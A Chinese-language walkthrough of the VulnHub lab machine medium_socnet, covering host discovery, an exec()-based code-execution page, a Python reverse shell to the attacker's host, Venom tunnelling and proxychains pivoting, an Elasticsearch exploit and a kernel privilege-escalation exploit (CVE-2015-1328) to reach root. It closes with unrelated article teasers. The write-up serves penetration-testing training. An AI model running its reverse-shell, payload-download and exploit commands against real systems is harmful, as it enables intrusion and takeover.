打靶记录——靶机medium_socnet

靶机下载地址

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
image.png

打靶过程

由于靶机和我的Kali都处于同一个网段,所以使用arpscan二次发现技术来识别目标主机的IP地址

arpscan -l

image.png
除了192.168.174.133,其他IP都是我VMware虚拟机正常运行会使用到的IP
那么拿到IP之后,对IP进行全端口的扫描,看看有哪些端口开起了,有哪些服务存在

nmap -p- 192.168.174.133

image.png
再进行一下服务版本的探测

nmap -p22,5000 -sV 192.168.174.133

image.png


在 nmap 中,-sV 参数是用来进行服务版本检测的。当你使用 -sV 参数扫描目标主机时,nmap 会尝试探测主机上运行的各种服务及其版本信息。这对于识别目标系统中运行的具体服务版本是非常有用的,可以帮助确定是否存在已知的漏洞或安全问题。

使用 -sV 的主要功能和工作原理:

  1. 服务版本检测
    • nmap 使用 -sV 参数时,会发送特定的探测请求到目标主机的开放端口,通过分析目标主机对请求的响应来判断具体的服务及其版本信息。
  2. 精准信息
    • 相比于仅仅检测端口是否开放(使用 -sS 或 -sT 等参数进行端口扫描),-sV 参数能够提供更详细和精准的信息,包括服务的具体版本号。
  3. 识别漏洞
    • 通过得知具体的服务版本号,可以帮助安全专家或管理员快速判断服务是否存在已知漏洞或安全问题,进而采取相应的安全措施或修复措施。
  4. 使用示例
    • 基本用法:nmap -sV
    • 指定端口范围:nmap -sV -p
    • 针对多个目标:nmap -sV …
  5. 注意事项
    • -sV 参数会增加扫描时间和网络流量,因为它需要发送多个探测请求并等待响应。对于大型网络或复杂的目标系统,可能需要更多时间来完成扫描。
    • 某些防火墙或入侵检测系统可能会检测到 nmap 的服务版本检测行为,并采取防御措施。

总之,-sV 参数使得 nmap 在扫描过程中可以提供更多有关目标主机上服务的详细信息,有助于评估系统的安全性和配置状态。


发现Ubantu和python
既然是Http服务,那么我们就访问一个Web界面
image.png
没有发现有注入点,那么我们尝试一下目录扫描

dirsearch -u "http://192.168.174.133:5000/"

image.png
发现了后台地址,发现可以进行代码执行,放到exec()函数中执行的
image.png
那么我们可以进行一个反弹shell,利用python
先在kali中监听端口

nc -lvvnp 6666

然后在网站中执行反弹shell的代码
image.png

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

成功反弹shell
image.png
但是发现可能是在docker容器里面的,因为有Dockerfile文件存在。
如果还不确定是否是docker容器,有两个方法
1、查看根目录下是否存在 .dockerenv 这个文件

 ls /.dockerenv

image.png
如果存在 .dockerenv 这个文件,那么90%说明这就是docker系统
2、查看 /proc/1/cgroup

cat /proc/1/cgroup

image.png
如果出现这些内容,那么100%是一个docker容器
因为Linux系统启动之后,1这个PID就代表着这个系统上的初始化进程的ID,当初始化ID的cgroup文件包含着明确的docker镜像主机的这些信息的话,那就100%是一个docker容器

那么先查看一下当前的docker的IP地址
image.png

172.17.0.3/16

那我们把docker当成内网,然后把内网网段的每一个IP都ping一遍,看看有没有回包
用一个脚本来测试

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

这段代码是一个简单的 Bash 脚本,用于循环执行 ping 命令,以便对一组 IP 地址进行测试。让我们逐步解释这段代码的每个部分:

  1. for 循环
bashfor i in $(seq 1 10);
  • for i in … 表示开始一个循环,其中 i 是循环变量。
  • ( s e q 110 ) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq 1 10) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq110)是一个命令替换,它生成从110的整数序列。因此,i 将会依次取值 1 到 10。
  1. ping 命令
bashping -c 1 172.17.0.$i;
  • ping 命令用于向指定的主机发送 ICMP 回显请求,以测试主机的可达性和响应时间。
  • -c 1 参数表示发送一个 ICMP 请求,即每个主机只发送一个请求。
  • 172.17.0.$i 是一个带有变量的 IP 地址,其中 $i 是 for 循环中的当前值,用来替换为具体的 IP 地址,如 172.17.0.1 到 172.17.0.10。
  1. 循环体
    • 整个 for 循环的主体是 ping -c 1 172.17.0.$i;,这意味着会对序列中的每个 IP 地址执行一次 ping 操作。

执行过程:

  • 当脚本执行时,$i 会依次取值 1 到 10。
  • 对于每个循环迭代,ping 命令会发送一个 ICMP 请求到指定的 IP 地址(例如 172.17.0.1 到 172.17.0.10)。
  • 如果目标主机响应,则输出显示主机的响应时间和状态信息;如果没有响应,则显示主机不可达或超时的信息。

注意事项:

  • 权限:执行 ping 命令通常需要足够的权限,通常是 root 或者具有相应网络权限的用户。
  • 网络设置:确保你的网络设置允许 ICMP 请求,否则 ping 命令可能无法正常工作。
  • 循环范围:代码中使用的 IP 地址范围和具体地址可能会根据实际情况和网络配置而变化。

这段代码适合于快速测试一组 IP 地址是否可达,并获得它们的基本网络信息。


image.png
发现三个IP回包了

接下来要使用内网穿透技术,把我的Kali到它内网的这个路由给打通
推荐使用Venom v1.1.0,下载地址https://github.com/Dliv3/Venom/releases
image.png
下载后放到Kali中解压
image.png
我们现在要做的是把客户端程序,先传输拷贝到目标系统上,然后再通过Kali
上的服务器端程序,在他们之间建立一条隧道
那么现在Kali中开启服务端,监听9999端口,等待容器系统和我的Kali建立反弹的连接
image.png
然后目标服务器需要下载我的客户端程序
我先通过python开启一个http服务,然后让目标服务器直接通过Wegt来下载客户端程序

python3 -m http.server 80

image.png
然后再目标服务器上执行命令

wget http://192.168.174.128/agent_linux_x64

image.png

chmod +x agent_linux_x64    //赋予执行权限
./agent_linux_x64 -rhost 192.168.174.128 -rport 9999      // 连接Kali

image.png
Kali发现了一个已连接的节点

goto 1
socks 1080    //启动socks代理

image.png
为了让Kali上的所用工具都可以通过代理去扫描内网的所有网段的话,那必须使用另外一个工具 proxychains4 ,可以挂载我们当前的代理

vim /etc/proxychains4.conf

image.png
Nmap扫描一下端口,当然前提是要挂上proxychains

proxychains nmap -Pn -sT 172.17.0.1
  1. -Pn 参数
    • -Pn 参数告诉 nmap 不要进行主机发现(即不要进行Ping测试),而是假设目标主机是活跃的。这是一种绕过目标主机可能配置的防火墙或过滤规则的方法,因为有些网络设备会屏蔽 Ping 请求。
  2. -sT 参数
    • -sT 参数指定了使用 TCP 连接扫描(也称为全连接扫描)。在 TCP 连接扫描中,nmap 会尝试建立一个完全的 TCP 连接,以判断目标端口的状态(开放、关闭、过滤)。

image.png
再看一下版本

proxychains nmap -Pn -sT -sV 172.17.0.1

proxychains 是一个工具,它允许用户将其他命令通过代理服务器执行,而不是直接连接到目标主机。

  • proxychains 是一个用于代理网络连接的工具。它能够劫持其他命令的网络连接,将其通过配置好的代理服务器转发出去,从而达到隐藏真实 IP 地址或绕过网络防火墙的目的。

image.png
发现就是我们原来的那台,只不过172.17.0.1是面向内网容器的IP
那么我们再扫描一下172.17.0.2这个IP

proxychains nmap -Pn -sT -sV 172.17.0.2

image.png
发现是Elasticsearch,我们可以利用一下漏洞

searchsploit Elasticsearch

image.png
那我们把漏洞利用代码复制到当前目录上查看一下

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

发现是Python2的
image.png
提示需要加上 target 参数
image.png

proxychains python2 36337.py 172.17.0.2

image.png

解密密码https://www.somd5.com/
image.png
SSH登录

proxychains ssh john@172.17.0.1

image.png
看一下内核
image.png

searchsploit Linux 3.13.0 Ubuntu

看一下可利用的漏洞
image.png
先弄下来看看代码

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

image.png
发现需要gcc来编译,但是目标靶机上面没有gcc
先找到二进制共享库文件ofs-lib.so

locate ofs-lib.so

image.png
然后我们直接在Kali什么编译好之后再发过去,然后将这段代码给注释掉
image.png

gcc -o exp 37292.c

有报错但是不影响
image.png
然后把ofs-lib.so文件也拷贝过来

/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so

image.png
开启Http服务

python3 -m http.server 80

image.png

john@socnet:~$ wget http://192.168.174.128/exp
john@socnet:~$ wget http://192.168.174.128/ofs-lib.so

image.png
下载完成后将他们放到/tmp临时目录下,这个目录权限大一点
前面也有说在/tmp目录下调用,这样可以减少报错
image.png

mv * /tmp

image.png

chmod +x exp
./exp

image.png
获得root权限!

总结

  1. 先进行主机发现,然后针对发现的主机进行端口扫描以及服务的扫描
  2. 扫描完之后发现靶机在5000端口的一个Web应用,尝试访问Web应用
  3. 在Web应用下,我们未获得已知漏洞
  4. 通过dirsearch在5000端口发现了后台路径
  5. 在后台地址发现了远程代码执行漏洞,利用这个漏洞,获取到了一个目标系统的反弹shell
  6. 获得shell之后,发现自己被困在一个docker的容器系统里面,基于容器系统,对内网的IP地址段进行发现
  7. 识别除了两个内网主机中的IP地址,一个是172.17.0.1,一个是172.17.0.2
  8. 然后挂上代理进行内网穿透,对这两个地址进行了全端口的扫描,在扫描过程中发现0.2地址上面开启了9200端口
  9. 而9200端口是Elasticsearch默认的服务监听端口,所以尝试对Elasticsearch进行漏洞的利用和攻击,结果成功拿下了172.17.0.2这台主机
  10. 在这台主机里继续进行信息收集,我们发现了一个password的文件,在里面收获了john这个账号的密码,密码是需要进行破解的
  11. 拿到账号密码之后尝试对内网所有开启22端口的主机进行登录,最终成功登录目标的靶机系统
  12. 登录后没有root权限,需要进行本地提权
  13. 发现是比较老的操作系统,内核版本比较老,所以使用针对内核漏洞进行提权的代码
  14. 但是漏洞利用代码又没有办法在目标系统上进行GCC的编译,所以不得不修改代码重新编译
  15. 把编译之后的漏洞利用代码和二进制的库文件一起传输到目标服务器上
  16. 最终在目标服务器上成功利用漏洞进行本地提权,拿到root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/38148.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Spring Boot】认识 JPA 的接口

认识 JPA 的接口 1.JPA 接口 JpaRepository2.分页排序接口 PagingAndSortingRepository3.数据操作接口 CrudRepository4.分页接口 Pageable 和 Page5.排序类 Sort JPA 提供了操作数据库的接口。在开发过程中继承和使用这些接口,可简化现有的持久化开发工作。可以使 …

springboot学习,如何用redission实现分布式锁

目录 一、springboot框架介绍二、redission是什么三、什么是分布式锁四、如何用redission实现分布式锁 一、springboot框架介绍 Spring Boot是一个开源的Java框架,由Pivotal团队(现为VMware的一部分)于2013年推出。它旨在简化Spring应用程序…

大数据面试题之Spark(1)

目录 Spark的任务执行流程 Spark的运行流程 Spark的作业运行流程是怎么样的? Spark的特点 Spark源码中的任务调度 Spark作业调度 Spark的架构 Spark的使用场景 Spark on standalone模型、YARN架构模型(画架构图) Spark的yarn-cluster涉及的参数有哪些? Spark提交jo…

横穿自动驾驶

如果有一条线,可以穿起来所有自动驾驶的核心模块,那么我感觉它就是最优化,选择优化变量、构造优化问题、求解优化问题,这几个步骤贯穿了自动驾驶的始终。 先从我的自身接触顺序写起。最开始做个一点深度学习,那还是20…

编码大模型系列:Meta创新的“代码编译优化”的LLM

鲁班号导读正式上线。移步“鲁班秘笈”,查阅更多内容。 大型语言模型 (LLM) 已在各种软件工程和编码任务中展现出卓越的能力。然而,它们在代码和编译器优化领域的应用仍未得到充分探索。训练LLM需要大量资源,需要大量的 GPU时间和大量的数据…

23、架构-服务网格之透明通信涅槃

通信成本 在现代分布式系统中,服务之间的通信是不可避免的。然而,这种通信带来了额外的复杂性和成本。传统的通信方式如RPC(Remote Procedure Call)和REST(Representational State Transfer),虽…

Hive 实操案例五:统计每个类别中 Top10 的视频热度

一、数据表结构 视频表 t_video 字段注释描述videoId视频唯一 id(String)11 位字符串uploader视频上传者(String)上传视频的用户名 Stringage视频年龄(int)视频在平台上的整数天category视频类别&#xff0…

一个合理的前端应用文件结构

在大型应用中,最关键且最具挑战性的方面之一就是拥有一个良好且合理的文件结构。在考虑通过微前端将代码库拆分成多个应用之前,可以遵循一些步骤来改善项目级别的架构,并在您考虑这一路径时使过渡更容易。 我们的目标是应用某种模块化方法&am…

MSPM0G3507——定时器例程讲解4——timx_timer_mode_periodic

以下示例以周期模式配置TimerG并切换LED。周期从500ms开始,每次切换减少50ms,直到周期为100ms,然后重复。设备在等待中断时保持待机模式 #include "ti_msp_dl_config.h"/* ((32KHz / (321)) * 0.5s) 45 - 1 495 due to N1 ticks …

MySQL入门学习-MySQL日志.错误日志

错误日志是 MySQL 中一种记录服务器运行过程中错误信息的日志文件。它可以帮助管理员或开发人员快速定位和解决问题。 一、MySQL 中的错误日志具有以下特点: - 记录错误信息: 错误日志主要记录服务器在运行过程中发生的错误信息,包括但不限…

【算法 之选择排序 原理及案例】

选择排序(Selection Sort) 是一种简单直观的排序算法。它的工作原理是:首先在未排序序列中找到最小(或最大)元素,存放到排序序列的起始位置,然后,再从剩余未排序元素中继续寻找最小…

Memcached的API使用指南:常用操作与示例代码

Memcached 是一个高性能、分布式内存对象缓存系统,常用于加速动态Web应用程序,减轻数据库负载。本文将介绍如何使用Memcached的API进行常用操作,并提供示例代码。 1. 安装Memcached客户端库 在使用Memcached之前,需要安装相应的…

Qt中用QLabel创建状态灯

首先ui设计中分别创建了4个大灯和4个小灯。 编辑.h文件 #ifndef LED_H #define LED_H#include <QWidget> #include <QLabel>QT_BEGIN_NAMESPACE namespace Ui { class Led; } QT_END_NAMESPACEclass Led : public QWidget {Q_OBJECTpublic:Led(QWidget *parent n…

Spring MVC数据绑定和响应——复杂数据绑定(四)JSON数据绑定

一、消息转换器—HttpMessageConverter接口 客户端不同的请求&#xff0c;HttpServletRequest中数据的MediaType可能会不同&#xff0c;如果想将HttpServletRequest中的数据转换成指定对象&#xff0c;或者将对象转换成指定格式的数据&#xff0c;就需要使用对应的消息转换器来…

服务器硬件以及RAID配置

目录 一、RAID磁盘阵列原理&#xff08;嘎嘎重要&#xff09; 1、RAID的概述 2、常用的RAID 2.1、RAID 0 2.2、RAID 1 2.3、RAID 5 2.5、RAID 10 3、阵列卡介绍 二、建立软件RAID磁盘阵列 1、添加硬盘 2、使用fdisk分区&#xff0c;类型为fd 3、mdata命令使用参数 …

安全与加密常识(3)什么是数字签名和数字证书

文章目录 数字签名工作原理关键特点应用实例 数字证书数字证书和数字签名趣味实例 数字签名 数字签名是一种通过密码运算生成的数据&#xff0c;用于验证信息的完整性和来源&#xff0c;确保数据在传输过程中未被篡改&#xff0c;同时提供发送者的身份认证和防止抵赖的功能。它…

Qt: QPushButton 按钮实现 上图标下文字

效果如下&#xff1a; 实现有如下几种方式&#xff1a; 1. 使用 QPushButton 设置 setStyleSheet 例&#xff1a; ui->recorder->setStyleSheet("QPushButton{"\"border: 1px solid #00d2ff; "\"min-height: 60px; "\"col…

python多继承的3C算法

python多继承的3C算法 有很多地方都说python多继承的继承顺序&#xff0c;是按照深度遍历的方式&#xff0c;其实python多继承顺序的算法&#xff0c;不是严格意义上的深度遍历&#xff0c;而是基于深度遍历基础上优化出一种叫3C算法 python多继承的深度遍历 class C:def ru…

MySQL高级-MVCC-原理分析(RR级别)

文章目录 1、RR隔离级别下&#xff0c;仅在事务中第一次执行快照读时生成ReadView&#xff0c;后续复用该ReadView2、总结 1、RR隔离级别下&#xff0c;仅在事务中第一次执行快照读时生成ReadView&#xff0c;后续复用该ReadView 而RR 是可重复读&#xff0c;在一个事务中&…

Django 配置静态文件

1&#xff0c;DebugTrue 调试模式 Test/Test/settings.py DEBUG True...STATICFILES_DIRS [os.path.join(BASE_DIR, static),] STATIC_URL /static/ 1.1 创建静态文件 Test/static/6/images/Sni1.png 1.2 添加视图函数 Test/app6/views.py from django.shortcuts impor…